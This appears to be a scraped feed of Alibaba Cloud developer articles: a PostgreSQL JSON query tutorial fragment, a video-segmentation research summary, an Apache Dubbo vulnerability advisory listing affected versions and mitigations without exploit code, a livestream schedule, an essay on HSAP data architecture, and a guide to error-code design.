      select info from orders;

      显示如下:

      111.jpeg

      select info-> 'customer' AS customer from orders;

      显示如下:

      222.jpeg

      select info->> 'customer' AS customer from orders;

      显示如下:

      333.jpeg

      - The operator -> returns JSON object field by key.
      - The operator ->> returns JSON object field by text.
      - The operator -> returns a JSON object, you can chain it with the operator ->> to retrieve a specific node. For example, the following statement returns all products sold:
      SELECT   info -> 'items' ->> 'product' as productFROM   ordersORDER BY product;

      显示如下:

      444.jpeg
      First info -> 'items' returns items as JSON objects. And then info->'items'->>'product' returns all products as text.

      4.在where条件里面使用json

      
      SELECT info ->> 'customer' AS customer,  info -> 'items' ->> 'product' AS product
        FROM orders
       WHERE CAST ( info -> 'items' ->> 'qty' AS INTEGER ) = 2;

      显示如下:

      555.jpeg

      5.在函数里面使用json

      SELECT MIN ( CAST ( info -> 'items' ->> 'qty' AS INTEGER ) ),
             MAX ( CAST ( info -> 'items' ->> 'qty' AS INTEGER ) ),
             SUM ( CAST ( info -> 'items' ->> 'qty' AS INTEGER ) ),
             AVG ( CAST ( info -> 'items' ->> 'qty' AS INTEGER ) ) 
        FROM orders;

      显示如下:

      666.jpeg

      6.json类型的一些函数

      json_each function
      The json_each() function allows us to expand the outermost JSON object into a set of key-value pairs. See the following statement:

      SELECT   json_each (info)FROM   orders;

      显示如下:

      777.jpeg

      json_object_keys function
      To get a set of keys in the outermost JSON object, you use the json_object_keys() function. The following query returns all keys of the nested items object in the info column

      SELECT json_object_keys (info->'items') FROM orders;

      显示如下:

      888.jpeg

      json_typeof function
      The json_typeof() function returns type of the outermost JSON value as a string. It can be number, boolean, null, object, array, and string.
      The following query return the data type of the items:

      SELECT json_typeof (info->'items') FROM orders;

      显示如下:

      999.jpeg

      The following query returns the data type of the qty field of the nested items JSON object.

      SELECT json_typeof ( info->'items'->'qty') FROM orders;

      显示如下:

      111.jpeg

      ]]>
      阿里达摩院:1 秒替换直播背景,像素级视频分割如何实现? Fri, 02 May 2025 09:39:04 +0800

      --------点击屏幕右侧或者屏幕底部“+订阅”,关注我,随时分享机器智能最新行业动态及技术干货----------

      1.gif

      与图像识别不同,AI 分析理解视频的技术门槛较高。长期以来,业界在视频 AI 技术的研究上鲜有重大突破。以 CVPR 会议难度最高的比赛之一 DAVIS( Densely Annotated Video Segmentation)为例,该比赛需要参赛团队精准处理复杂视频中物体快速运动、外观变化、遮挡等信息,过去几年,全球顶级科技在该比赛中的成绩从未突破 80 分,而达摩院的模型最终在 test-challenge 上取得了 84.1 的成绩。

      DAVIS 的数据集经过精心挑选和标注,视频分割中比较难的点都有体现,比如:快速运动、遮挡、消失与重现、形变等。DAVIS 的数据分为 train(60 个视频序列), val(30 个视频序列),test-dev(30 个视频序列),test-challenge(30 个视频序列)。 其中 train 和 val 是可以下载的,且提供了每一帧的标注信息。对于半监督任务, test-dev 和 test-challenge,每一帧的 RGB 图片可以下载,且第一帧的标注信息也提供了。算法需要根据第一帧的标注 mask,来对后续帧进行分割。分割本身是 instance 级别的。

      阿里达摩院:像素级视频分割

      阿里达摩院提供了一种全新的空间约束方法,打破了传统 STM 方法缺乏时序性的瓶颈,可以让系统基于视频前一帧的画面预测目标物体下一帧的位置;此外,阿里还引入了语义分割中的精细化分割微调模块,大幅提高了分割的精细程度。最终,精准识别动态目标的轮廓边界,并且与背景进行分离,实现像素级目标分割。

      基本框架

      达摩院的算法基于去年 CVPR 的 STM 做了进一步改进。STM 的主要思想在于,对于历史帧,每一帧都编码为 key-value 形式的 feature。预测当前帧的时候,以当前帧的 key 去和历史帧的 key 做匹配。匹配的方式是 non-local 的。这种 non-local 的匹配,可以看做将当前 key,每个坐标上的 C 维特征,和历史每一帧在这个坐标上的 C 维特征做匹配。 匹配得到的结果,作为一个 soft 的 index,去读取历史 value 的信息。读取的特征和当前帧的 value 拼接起来,用于后续的预测。

      image.png

      image.png

      三大技术创新

      image.png

      1. 空间约束

      STM 的特征匹配方式,提供了一种空间上的长依赖, 类似于 Transformer 中,通过 self-attention 来做序列关联。这种机制,能够很好地处理物体运动、外观变化、遮挡等。但也有一个问题,就是缺乏时序性,缺少短时依赖。当某一帧突然出现和目标相似的物体时,容易产生误召回。在视频场景中,很多情况下,当前帧临近的几帧,对当前帧的影响要大于更早的帧。基于这一点,达摩院提出依靠前一帧结果,计算 attention 来约束当前帧目标预测的位置,相当于对短期依赖的建模。

      具体的方法如下图所示:

      1. 当前帧的特征和前一帧的预测 mask 在 channel 维度上做 concat,得到 HxWx(c+1) 的特征;
      2. 通过卷积将特征压缩为 HxW;
      3. 用 sigmoid 函数将 HxW 的特征,压缩范围,作为空间 attention;
      4. 把 attention 乘到原特征上,作为空间约束。

      image.png

      下图为空间 attention 的可视化结果,可以看到大致对应了前景的位置。

      image.png

      2. 增强 decoder

      达摩院引入了语义分割中的感受野增强技术 ASPP 和精细化分割的微调(refinement)模块。ASPP 作用于 memory 读取后的特征,用于融合不同感受野的信息,提升对不同尺度物体的处理能力。

      image.png

      3. 训练策略

      达摩院提出了一个简单但是有效的训练策略,减少了训练阶段和测试阶段存在的差异,提升了最终效果。

      原始 STM 训练时,会随机从视频中采样 3 帧。这三帧之间的跳帧间隔,随着训练逐渐增大,目的是增强模型鲁棒性。但达摩院发现,这样会导致训练时和测试时不一致,因为测试时,是逐帧处理的。为此,在训练的最后阶段,达摩院将跳帧间隔重新减小,以保证和测试时一致。

      其他

      backbone: 达摩院使用了 ResNeST 这个比较新的 backbone,它可以无痛替换掉原 STM 的 resnet。在结果上有比较明显提升。

      测试策略: 达摩院使用了多尺度测试和 model ensemble。不同尺度和不同 model 的结果,在最终预测的 map 上,做了简单的等权重平均。

      显存优化: 达摩院做了一些显存优化方面的工作,使得 STM 在多目标模式下,可以支持大尺度的训练、测试,以及支持较大的 memory 容量。

      数据: 训练数据上,达摩院使用了 DAVIS、Youtube-VOS,以及 STM 原文用到的静态图像数据库。没有其他数据。

      结果

      达摩院的模型,最终在 test-challenge 上取得了 84.1 的成绩。

      image.png

      在 test-dev 上的消融实验。达摩院复现的 STM 达到了和原文一致的结果。在各种 trick 的加持下, 得到了 11 个点的提升。

      image.png

      随着互联网技术、5G 技术等的发展,短视频、视频会议、直播的场景越来越多,视频分割技术也将成为不可或缺的一环。比如,在视频会议中,视频分割可以精确区分前背景,从而对背景进行虚化或替换;在直播中,用户只需要站在绿幕前,算法就实时替换背景,实现一秒钟换新直播间; 在视频编辑领域,可以辅助进行后期制作。

      image.png

      文章来源:https://www.infoq.cn/article/QyZjDa0A1ePkrog2p1jO

      ]]>
      预警|Apache Dubbo漏洞补丁绕过,阿里云上可默认拦截,请尽快修复 Fri, 02 May 2025 09:39:04 +0800 2020年6月29日,阿里云应急响应中心监测到 CVE-2020-1948 Apache Dubbo反序列化漏洞补丁存在缺陷,可以绕过原有补丁并执行任意指令。

      针对这一情况,阿里云默认防御已启动紧急响应,为阿里云上受影响客户免费提供一个月的虚拟补丁帮助缓解该漏洞的影响,建议利用这个期间尽快完成漏洞修复,避免该漏洞被利用造成数据、资产的损失。

      时间线

      • 2020.06.23 监测到 CVE-2020-1948 Apache Dubbo反序列化漏洞
      • 2020.06.29 监测到 CVE-2020-1948 Apache Dubbo反序列化漏洞 补丁绕过

      漏洞描述

      Apache Dubbo是一种基于Java的高性能RPC框架。Apache Dubbo官方披露在Dubbo Provider中存在一个反序列化远程代码执行漏洞(CVE-2020-1948),攻击者可以构造并发送带有恶意参数负载的RPC请求,当恶意参数被反序列化时将导致远程代码执行。

      目前,2.7.7版本的官方补丁中存在缺陷,攻击者可以绕过并执行任意指令,危害极大。

      漏洞影响范围

      • Apache Dubbo 2.7.0~2.7.7
      • Apache Dubbo 2.6.0~2.6.7
      • Apache Dubbo 2.5.x系列所有版本(官方不再提供支持)

      安全建议

      目前官方还未发布针对此漏洞绕过手法的补丁,在阿里云提供一个月的默认防御期限内,建议客户参考以下方法进行缓解,并关注官方补丁动态,及时进行更新:

      1. 升级至2.7.7版本,并根据https://github.com/apache/dubbo/pull/6374/commits/8fcdca112744d2cb98b349225a4aab365af563de的方法进行参数校验
      2. 禁止将Dubbo服务端端口开放给公网,或仅仅只对能够连接至Dubbo服务端的可信消费端IP开放
      3. Dubbo协议默认采用Hessian作为序列化反序列化方式,该反序列化方式存在反序列化漏洞。在不影响业务的情况下,建议更换协议以及反序列化方式。具体更换方法可参考:http://dubbo.apache.org/zh-cn/docs/user/references/xml/dubbo-protocol.html

      安全产品建议

      建议使用阿里云安全的下一代云防火墙产品,即使在官方没有发布针对此漏洞绕过手法的补丁情况下,其阻断恶意外联、配置智能策略的功能,也能够从根本上阻止防御入侵。

      ]]>
      【0629 - 0703 直播导视 | PPT 下载】阿里云Offer 5000人! 快来和阿里妹做同事吧预热来啦! Fri, 02 May 2025 09:39:04 +0800 *本预告时间仅供参考,最终直播时间以直播间信息为准。
      *本文提供直播PPT下载,请在对应直播介绍处查看。

      本周直播重磅推荐:

      6月30日:

      研发效能提升的挑战、方法和解决方案

      直播时间:06-30 16:00
      直播亮点:
      我们将引来全新《研发效能36计》的开篇。本次课程将带你一起,分析研发效能提升的挑战,了解其中的关键实践,并设计效能提升的完整解决方案。通过本次课程中,你将了解到:
      云原生和中台化时代研发效能提升的挑战和机会
      如何凝聚组织对研发效能提升的共识
      如何分析和找到导致研发效能问题的根因
      如何综合应用协作、工程、技术三个方面实践,设计研发效能提升的解决方案
      分享嘉宾
      何勉,阿里云云研发部门资深技术专家

      *PPT下载待更新

      【Dev Talks第十期】10分钟快速构建云原生数据仓库

      直播时间:06-30 14:00
      直播亮点:
      企业经常会受到数据孤岛未打通,数据无法实现快速共享的困扰,而构建数据仓库也往往非常复杂,所以在面对数字业务化时缺少基本的系统支持,数字化转型困难重重。通过本课程,无需掌握复杂的大数据技术栈,就能够快速的构建起基于云原生的数据仓库,完成数据接入,数据开发,数据服务发布以及数据可视化工作, 来支持大规模高并发实时在线分析服务,让数据价值在线化,从而使敏捷高效的数字化运营变的可能而且简单。
      分享嘉宾
      南仙,阿里云高级技术专家

      *PPT下载待更新

      6月30日:

      【Dev Talks第十一期】基于OAM和Kubernetes快速构建开放Serverless

      直播时间:07-02 14:00
      直播亮点:
      OAM(Open Application Model)是 2019 年阿里和微软联合在社区推出的开放应用模型,一经推出便被众多 Kubernetes 社区的用户采用,解决了许多诸如“YAML 复杂”、“CRD Operator 难以协作”等应用管理难题。而拥有自动弹性伸缩、无限资源池等先进理念的 Serverless 同样也备受关注。事实上 OAM 也是构建 Serverless 平台的最佳实践,通过 OAM Traits的概念,可以让 Serverless 所需要的各项能力包括 BaaS 资源通过统一的方式管理,同时对用户暴露“以应用为中心”的接口,降低用户使用门槛。
      次演讲将为你解开基于 OAM 和 Kubernetes 快速构建开放 Serverless 平台背后的核心技术原理,真正解决云原生应用的管理难题。
      分享嘉宾
      孙建波(天元),阿里云技术专家

      *PPT下载待更新

      Hadoop 小文件/冷文件分析

      直播时间:07-02 19:00
      直播亮点:
      庞大的小文件和冷文件数量会对HDFS的性能产生不利影响,严重时甚至影响业务稳定性,这个主题将介绍对大容量HDFS进行小文件和冷文件分析的方法,并基于分析结果可以采取哪些处理措施。
      分享嘉宾
      郭聪,花名析源,阿里云计算平台事业部技术专家

      *PPT下载待更新

      阿里云Offer 5000人! 快来和阿里妹做同事吧。

      直播时间:07-09 19:00
      直播亮点:
      阿里云开发者社区“Offer 5000”活动正式开启,7月9日 19:00 - 21:30 15位技术大咖在线招人,更有独家资料《阿里云技术面数红宝书》助你斩获Offer,一键投递进阿里。
      分享嘉宾
      15个团队的技术大咖在线直播招人

      ]]>
      大数据的下一站是什么?服务/分析一体化(HSAP) Fri, 02 May 2025 09:39:04 +0800 作者:蒋晓伟(量仔) 阿里巴巴研究员
      因为侧重点的不同,传统的数据库可以分为交易型的 OLTP 系统和分析型的 OLAP 系统。随着互联网的发展,数据量出现了指数型的增长,单机的数据库已经不能满足业务的需求。特别是在分析领域,一个查询就可能需要处理很大一部分甚至全量数据,海量数据带来的压力变得尤为迫切。这促成了过去十多年来以 Hadoop 技术开始的大数据革命,解决了海量数据分析的需求。与此同时,数据库领域也出现了一批分布式数据库产品来应对 OLTP 场景数据量的增长。
      01.jpg
      为了对 OLTP 系统里的数据进行分析,标准的做法是把里面的数据定期(比如说每天)同步到一个 OLAP 系统中。这种架构通过两套系统保证了分析型查询不会影响线上的交易。但是定期同步导致了分析的结果并不是基于最新数据,这种延迟让我们失去了做出更及时的商业决策的机会。为了解决这个问题,近几年出现了 HTAP 的架构,这种架构允许我们对 OLTP 数据库里的数据直接进行分析,从而保证了分析的时效性。分析不再是传统的 OLAP 系统或者大数据系统特有的能力,一个很自然的问题是:既然 HTAP 有了分析的能力,它是不是将取代大数据系统呢?大数据的下一站是什么?

      背景

      为了回答这个问题,我们以推荐系统为例分析一下大数据系统的典型场景。
      当你看到购物应用给你展示正好想要买的商品,短视频应用播放你喜欢的音乐时,推荐系统正在发挥它神奇的作用。一个先进的推荐系统,核心目标是根据用户的实时行为做出个性化的推荐,用户和系统的每一次交互都将即时优化下一步的体验。为了支持这样一个系统,后端的大数据技术栈已经演变为一个非常复杂和多元化的系统。
      下图展示了一个支持实时推荐系统的大数据技术栈。
      02.jpg
      为了提供优质的实时个性化推荐,推荐系统重度依赖实时特征和模型的连续更新。

      实时特征可以分为两类:

      1. 系统会收集大量的用户行为事件(比如说浏览、点击等),以及交易记录(比如说从 OLTP 数据库同步过来的付款记录等)。这些数据量非常巨大(可能高达每秒种数千万甚至上亿条),并且其中的绝大部分不是来自交易系统。为了方便以后使用,这些数据会导入到系统里(图中的 a),同时它们会和各种维表数据做关联推导出一系列重要的特征(图中的 1),这些特征会实时更新到推荐系统以优化用户体验。这里的实时维表关联需要低延迟高吞吐的点查支持才能跟得上新产生的数据。
      2. 系统也会使用滑动窗口等方式去计算出各种不同维度和时间粒度的特征(比如说一个商品过去 5 分钟的点击数、过去 7 天的浏览量和过去 30 天的销售等)。根据滑动窗口的粒度,这些聚合可能通过流计算或者批处理的方式完成。

      这些数据也被用来产生实时和离线机器学习的样本,训练出来的模型经过验证后会持续地更新到推荐系统中。

      上述所解释的是一个先进的推荐系统的核心部分,但这只是整个系统的冰山一角。除此之外还需要实时模型监控、验证、分析和调优等一整套体系,这包含:使用实时大屏去查看 A/B 测试的结果(3),使用交互式分析(4)去做 BI 分析,对模型进行细化和调优。除此之外,运营还会使用各种复杂的查询去洞察业务的进展,并且通过圈人圈品等方式进行针对性的营销。

      这个例子展示了一个非常复杂但典型的大数据场景,从数据的实时导入(a),到预聚合(b),从数据服务(1),持续聚合(3),到交互式查询(4),一直到批处理(2)。这类复杂场景对大数据系统有着非常多样化的需求,在构建这些系统的实践中我们看到了两个新的趋势。

      • 实时化:业务需要快速地从刚刚收集到的数据中获得商业洞察。写入的数据需要在秒级甚至亚秒级就可见。冗长的离线 ETL 过程正在变得不可容忍。同时,收集到的数据比从 OLTP 系统同步过来的数据要大得多,用户浏览点击等日志类数据甚至要比它大几个数量级。我们的系统需要有能力在大量实时数据写入的同时提供低延迟的查询能力。
      • 服务 / 分析的融合:传统的 OLAP 系统在业务中往往扮演着比较静态的角色。我们通过分析海量的数据得到业务的洞察(比如说预计算好的视图、模型等),这些获得的知识通过另外一个系统提供在线数据服务。这里的服务和分析是个割裂的过程。与此不同的是,理想的业务决策过程往往是一个持续优化的在线过程。服务的过程会产生大量的新数据,我们需要对这些新数据进行复杂的分析。分析产生的洞察实时反馈到服务创造更大的商业价值。服务和分析正在形成一个闭环。

      现有的解决方案通过一系列产品的组合来解决实时的服务 / 分析融合的需求。比如说,通过 Apache Flink 做数据的实时预聚合,聚合后的数据会存储在类似 Apache Druid 这种提供多维分析的产品中,并且通过 Apache HBase 这类产品来提供数据服务。这种烟囱式开发的模式会不可避免地产生数据孤岛,从而引起不必要的数据重复,各个产品间复杂的数据同步也使数据的一致性和安全性成为挑战。这种复杂度使得应用开发很难快速响应新需求,影响了业务的迭代速度,也给开发和运维都带来了较大的额外开销。
      03.jpgimage.gif
      我们认为实时的服务 / 分析的融合应该通过一个统一的 Hybrid Serving/Analytical Processing(HSAP)系统来实现。
      通过这样一个系统,应用开发不再需要和多个不同的产品打交道,不再需要去学习和接受每个产品的问题和局限,这能够大大简化业务的架构,提升开发和运维效率。这样一个统一的系统能够避免不必要的数据重复从而节约成本。同时这种架构还能够为系统带来秒级甚至亚秒级的实时性,让业务的决策更实时,从而让数据发挥出更大的商业价值。

      分布式 HTAP 系统虽然具有了实时分析的能力,但是并不能解决大数据的问题。

      首先,交易系统同步过来的数据只是实时推荐系统需要处理的一小部分数据,其他绝大部分数据来自日志等非交易系统(用户每次购买前往往有数十个甚至数百个浏览行为),大部分分析是在这些非交易数据上进行的。但 HTAP 系统并没有这部分数据,所以在这些非交易数据上做分析就无从谈起。
      那么是不是可以将这些非交易数据写入 HTAP 系统来进行分析呢?我们来分析一下 HTAP 系统和 HSAP 系统在数据写入模式上的不同。HTAP 系统的基石和优势是支持细粒度的分布式事务,交易型数据往往以很多分布式小事务的方式写入 HTAP 系统。然而来自日志等系统的数据并没有细粒度分布式事务的语意,如果要把这些非交易型数据导入 HTAP 系统势必会带来不必要的开销。
      相比之下, HSAP 系统并没有这种高频率分布式小事务的需求。数据写入 HSAP 系统一般有两种模式:1)海量的单条数据实时写入;2)相对低频的分布式批量数据写入。这就允许 HSAP 系统在设计上做出一系列优化,从而提升性价比,避免把非交易型数据导入 HTAP 系统带来的不必要开销。
      就算我们不在乎这些开销,假设能不计成本把数据都写入 HTAP 系统,是不是就解决问题了呢?答案仍然是否定的。
      支持好 OLTP 的场景是 HTAP 系统的前提条件,为了做到这点,HTAP 系统往往采用了行存的数据格式,而分析型的查询在行存的效率相比于列存有很大的(数量级的)劣势。具备分析的能力和能够高效地分析并不是一回事。为了提供高效分析的能力,HTAP 系统必须把海量的非交易数据复制到列存,但这势必带来不小的成本,不如把少量的交易数据复制到 HSAP 系统成本更低,同时还能更好地避免对线上交易系统产生影响。
      所以,我们认为 HTAP 和 HSAP 会相辅相成,分别引领数据库和大数据领域的方向。

      HSAP 的挑战

      作为一种全新的架构,HSAP 面临着和已有的大数据以及传统的 OLAP 系统相比很不一样的挑战。

      高并发的混合工作负载:HSAP 系统需要处理远远超出传统的 OLAP 系统的并发查询。在实践中,数据服务的并发远远超出了 OLAP 查询。比如说,我们在实践中见到数据服务需要处理高达每秒钟数千万个查询,这比 OLAP 查询的并发高出了 5 个数量级。同时,和 OLAP 查询相比,数据服务型查询对延迟有着更加苛刻的要求。除此之外,更大的挑战是系统在提供数据服务查询的同时需要处理非常复杂的分析型查询。这些混合查询负载在延迟和吞吐间有着非常不同的取舍。如何高效地利用系统资源处理好这些非常不一样的查询,并且保证每个查询的 SLO 是一个巨大的挑战。

      高吞吐实时数据导入:在处理高并发的查询负载的同时,HSAP 系统还需要支持海量数据的实时写入。这些实时写入的数据量远远超出了传统的 OLAP 系统的需求。比如说,上面的实时推荐场景会持续写入每秒钟数千万甚至上亿条事件。和传统的 OLAP 系统的另外一个区别是 HSAP 系统对数据的实时性有着很高的要求,写入的数据需要在秒级甚至亚秒级可见,这样才能保证我们服务和分析结果的时效性。

      弹性和可扩展性:数据写入和查询负载可能会有突发的高峰,这对系统提出了很高的弹性和可扩展性的要求。在实践中,我们注意到数据写入峰值能达到平均的 2.5 倍,查询的峰值能达到平均的 3 倍。而且数据写入和查询的峰值不一定同时出现,这也需要系统有根据不同的峰值做迅速调整的能力。

      HSAP 的系统设计

      为了应对这些挑战,我们认为一个典型的 HSAP 系统可以采用类似于上图的一个架构。
      image.gif04.jpg
      存储计算分离:所有的数据存储在一个分布式文件系统中,我们以数据分片的方式来扩展系统,Storage Manager 会管理这些数据分片(Shard),Resource Manager 管理系统的计算资源,保证系统能够处理高吞吐的数据写入和查询的需求。这种架构能够快速应对工作负载的变化,当查询负载变大需要更多的计算资源的时候可以扩展计算资源,当数据量快速增长的时候可以快速扩展存储资源。存储计算分离的架构保证了不需要等待移动 / 拷贝数据就能快速完成这些操作。这种架构较大地简化了运维,为系统的稳定性提供了保障。

      统一的实时存储:为了能够支持各种查询模式,统一的实时存储层至关重要。查询大体可以分为两类,一类是简单的点查询(数据服务类的大多是这类),另一类是扫描大量数据的复杂查询(分析类的大多是这类),当然这是一个连续变化的过程,很多查询介于两者之间。这两种查询模式对数据存储也提出了不同的要求。行存储能够比较高效地支持点查询,而列存储在支持大量扫描的查询上有明显的优势。我们可以通过类似 PAX 的方式在行存和列存之间做一个折衷,付出的代价是可能在点查和扫描数据的场景都不能获得最佳的性能。我们希望在两种场景都做到最优,所以在系统里同时支持了行存和列存,用户可以根据场景选择每个表的存储方式。对同时有两种需求的表我们通过索引的抽象允许用户同时选择两种存储,系统通过索引维护的机制保证两者间的一致性。在实践中我们发现这种设计带来的效率和灵活性能够更好地支持业务。

      工作负载的隔离:系统在混合工作负载下的 SLO 是通过调度来保证的。在理想情况下,一个大查询就应该能把所有的资源都利用起来。而当有多个查询同时运行的时候,这些查询需要公平地共享资源。由于服务型的查询通常比较简单从而需要的资源比较少,这种公平调度的机制能够保证服务型查询的延迟即使在有复杂的分析型查询的情况下仍然能够得到保障。作为一个分布式的系统,调度可以分为分布式和进程内两部分。Coordinator 会把一个查询分解为多个任务,这些任务被分发到不同的进程,Coordinator 需要采取一定的策略保证公平性。同样重要的是,在一个进程内我们也需要让不同任务公平地分享资源。由于操作系统并不理解任务间的关系,所以我们在每个进程里实现了一个用户态的 Scheduler 去更灵活地支持工作负载的隔离。

      系统的开放性:很多业务已经使用了其他存储平台或者计算引擎,新的系统必须考虑和已有系统的融合。对时效性要求高的查询,计算和存储的一体化能够带来明显的优势。但是对时效性不高的离线计算,存储层可以提供统一的接口开放数据,这种开放性允许其他引擎把数据拉出去处理能够赋予业务更大的灵活度。开放性的另外一面是对存储在其他系统中数据进行处理的能力,这个可以通过联邦查询的方式去实现。

      HSAP 的应用

      这里我们分享一下阿里巴巴搜索推荐精细化运营业务,下图显示了在采用 HSAP 前这样一个系统架构的示例。
      05.jpgimage.gif
      我们通过一系列存储和计算引擎(HBase、Druid、Hive、Drill、Redis 等)的复杂配合才能满足业务的需求,并且多个存储之间需要通过数据同步任务来保持大致的同步。这种业务架构极其复杂,整个业务的开发耗费了大量的时间。
      06.jpg
      我们在 2019 年的双十一使用 HSAP 系统升级了这个业务,新架构得到了极大的简化。用户、商品、商家属性数据和海量的用户行为数据经过实时和离线的数据清洗统一进入 HSAP 系统,由 HSAP 系统向上承接了实时大屏、实时报表、效果跟踪、实时数据应用等查询和分析服务。实时大屏、实时销售预测、实时库存监控、实时 BI 报表实时监测业务进展,洞悉运营增长,跟踪算法效果,从而助力高效决策。实时标签、实时画像、竞对分析、圈人圈品、权益投放等数据产品助力精细化运营和决策。实时数据接口服务支持算法调控、库存监控预警等服务。一套 HSAP 系统实现了全渠道全链路的数据共享和复用,解决了运营、产品、算法、开发、分析师到决策层不同业务视角的数据分析和查询需求。

      总结

      HSAP 架构通过统一的实时存储,数据无需复制就能一站式提供简单查询、OLAP 分析、在线数据服务等多样化的数据查询和应用服务,满足数据应用方的访问和接入需求。这种新架构大大地降低了业务的复杂度,让我们能够快速应对新的业务需求。它提供的秒级甚至亚秒级实时性让决策更及时高效,从而让数据创造出更大的商业价值。
      最后,欢迎加入交互式分析Hologres交流群
      image.png

      ]]>
      错误码如何设计才合理?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

      一 前言

      在工作中,接触过不少外部接口,其中包括:支付宝,微信支付,微博开发平台,阿里云等等。每家公司错误码风格都不尽相同,有使用纯数字的,有使用纯英文的,也有使用字母和数字组合的。也接触过很多内部系统,错误码设计也不尽相同。

      错误码的输出路径

      面向日志输出

      • 服务内传递,最终是输出到日志。
      • 域内服务间,比如同时大麦电商之间的系统,最终目的是输出到日志。

      面向外部传递

      • 域内向域外
      • 服务端传递到前端
      • OpenAPI 错误码
      • 内部不同域之间

      错误码使用场景

      • 通过错误码配置监控大盘。
      • 通过日志进行问题排查,快速定位问题。
      • 后端服务之间错误码传递。
      • 前端展示的错误提示/OpenAPI。

      本文希望从错误码使用的不同场景讨论得到一个合理的错误码规约,得到一个面向日志错误码标准和一个面向外部传递的错误码标准。

      PS:本文引用全部引自阿里巴巴《Java 开发手册》,下称《手册》。

      二 什么是错误码

      错误码要回答的最根本的问题是,谁的错?错在哪?

      那么一个错误能表示出谁的错和错在哪里就是一个好的错误码吗?答案显然是否定的,这个标准太基础了。

      • 好的错误码必须能够快速知晓错误来源。
      • 好的错误码必须易于记忆和对比。
      • 好的错误码必须能够脱离文档和系统平台达到线下轻量沟通的目的(这个要求比较高)。

      引自《手册》- 异常日志-错误码

      错误码的制定原则:快速溯源、简单易记、沟通标准化。

      说明:错误码想得过于完美和复杂,就像康熙字典中的生僻字一样,用词似乎精准,但是字典不容易随身携带并且简单易懂。
      正例:错误码回答的问题是谁的错?错在哪?
      1)错误码必须能够快速知晓错误来源,可快速判断是谁的问题。
      2)错误码易于记忆和比对(代码中容易 equals)。
      3)错误码能够脱离文档和系统平台达到线下轻量化地自由沟通的目的。

      这个原则写在异常日志-错误码这个章节,我认为同样适用在面向用户的错误码。

      image.png

      三 错误码规范

      错误码定义要有字母也要有数字

      纯数字错误码

      错误码即人性,感性认知+口口相传,使用纯数字来进行错误码编排不利于感性记忆和分类。

      说明:数字是一个整体,每位数字的地位和含义是相同的。
      反例:一个五位数字 12345,第1位是错误等级,第 2 位是错误来源,345 是编号,人的大脑不会主动地分辨每位数字的不同含义。

      《手册》说明了纯数字错误码存在的问题。

      纯字母错误码

      那么纯字母错误码不香吗?有两个问题:

      • 对于使用汉语的我们用英语去准确描述一个错误有时是比较困难的。
      • 纯英文字母的错误码不利于排序。

      错误码尽量有利于不同文化背景的开发者进行交流与代码协作。

      说明:英文单词形式的错误码不利于非英语母语国家(如阿拉伯语、希伯来语、俄罗斯语等)之间的开发者互相协作。

      快速溯源 | 简单易记 | 沟通标准化

      什么是快速溯源?就是一眼看上去就知道哪里出了什么问题。

      李雷负责 A 服务,韩梅梅负责 B 服务。韩梅梅发现服务 B 出现了一个错误码,韩梅梅能够快速定位这是服务 A 的内部业务异常造成的问题,这个时候韩梅梅就可以拿着错误码找到李雷说,"hi,Li Lei,How old are you。(李雷,怎么老是你)"。李雷拿过来错误码一看,内心万马奔腾,一下就能知道这是上游 Polly 负责的应用阿尔法出了错。

      怎么能达到这个效果呢?

      • 首先要有一套标准并且在域内各个业务都在用同样的标准。
      • 其次要求错误码有自我解释的能力是有信息含量的有意义。
      • 最后在域内要传递错误码。

      错误码标准的意义

      开宗明义借用了《手册》对于错误码定义的原则作为错误码规范能够给我们带来的收益。我想再次强调并且试着从反面阐述没有错误码标准会带来的成本。

      错误码是用来做沟通的:系统与系统间的沟通,人与人间的沟通,人与系统间的沟通。

      试想下面这个场景:

      韩梅梅看到一个异常日志其中一个纯数字的错误码。

      韩梅梅需要理解这串数字代表的是什么,它到底是不是一个错误码,经过几秒钟确定下来这是一个错误码,但她不能确定这是不是本系统中错误码,因为在她负责的系统是由韩梅梅、Lucy 和 Lily 三个人共同维护的,每个人都按照自己的理解定义了一套错误码。

      韩梅梅去系统源码中查找这个错误码,但是发现这个错误码并不是本系统的错误码。

      然后再前翻两页后翻两页从日志上下文中确定这是李雷负责系统的错误码,“Li Lie,how old are you?”。

      韩梅梅把错误码甩到李雷脸上,李雷一脸懵逼,这是我的系统的错误码吗?

      李雷也不确定,因为李雷负责的系统是由李雷、林涛和 Jim 维护的,也是三人共同维护的。

      李雷只好打开源码,还真是!

      上边的场景经过了发现-初判断-判断来源-确定来源-沟通-二次判断-二次确认七个步骤。

      希望上边的场景描述能够说明没有统一标准的错误所带来的成本。

      四 面向日志的错误码

      输出到日志的错误码有两个用途:

      • 用来快速溯源找到问题。
      • 用来形成监控大盘。

      错误码设计

      《手册》对于错误码的建议有非常多的可取参考的地方:

      错误码不体现版本号和错误等级信息。

      说明:错误码以不断追加的方式进行兼容。错误等级由日志和错误码本身的释义来决定。

      错误码为字符串类型,共 5 位,分成两个部分:错误产生来源+四位数字编号。

      错误码不能直接输出给用户作为提示信息使用。

      说明:堆栈(stack_trace)、错误信息(error_message)、错误码(error_code)、提示信息(user_tip)是一个有效关联并互相转义的和谐整体,但是请勿互相越俎代庖。

      在获取第三方服务错误码时,向上抛出允许本系统转义,由 C 转为 B,并且在错误信息上带上原有的第三方错误码。

      结合错误码设计原则、错误码用途、规约建议,面向服务端日志的错误码应该是如下形式。

      错误码分为一级宏观错误码、二级宏观错误码、三级宏观错误码。

      错误码即人性,感性认知+口口相传,使用纯数字来进行错误码编排不利于感性记忆和分类。
      说明:数字是一个整体,每位数字的地位和含义是相同的。

      反例:一个五位数字 12345,第 1 位是错误等级,第 2 位是错误来源,345 是编号,人的大脑不会主动地分辨每位数字的不同含义。

      按照《手册》的建议设计出的面向日志的错误码定义共十三位(十位有意义,三位连接符),并且应该具有如下分类:

      • 应用标识,表示错误属于哪个应用,三位数字。
      • 功能域标识,表示错误属于应用中的哪个功能模块,三位数字。
      • 错误类型,表示错误属于那种类型,一位字母。
      • 错误编码,错误类型下的具体错误,三位数字。

      image.png

      《手册》还有一条是规定错误码应该如何定义:

      错误码为字符串类型,共 5 位,分成两个部分:错误产生来源+四位数字编号。

      说明:错误产生来源分为 A/B/C,A 表示错误来源于用户,比如参数错误,用户安装版本过低,用户支付超时等问题;B 表示错误来源于当前系统,往往是业务逻辑出错,或程序健壮性差等问题;C 表示错误来源于第三方服务,比如 CDN 服务出错,消息投递超时等问题;四位数字编号从 0001 到 9999,大类之间的步长间距预留 100。

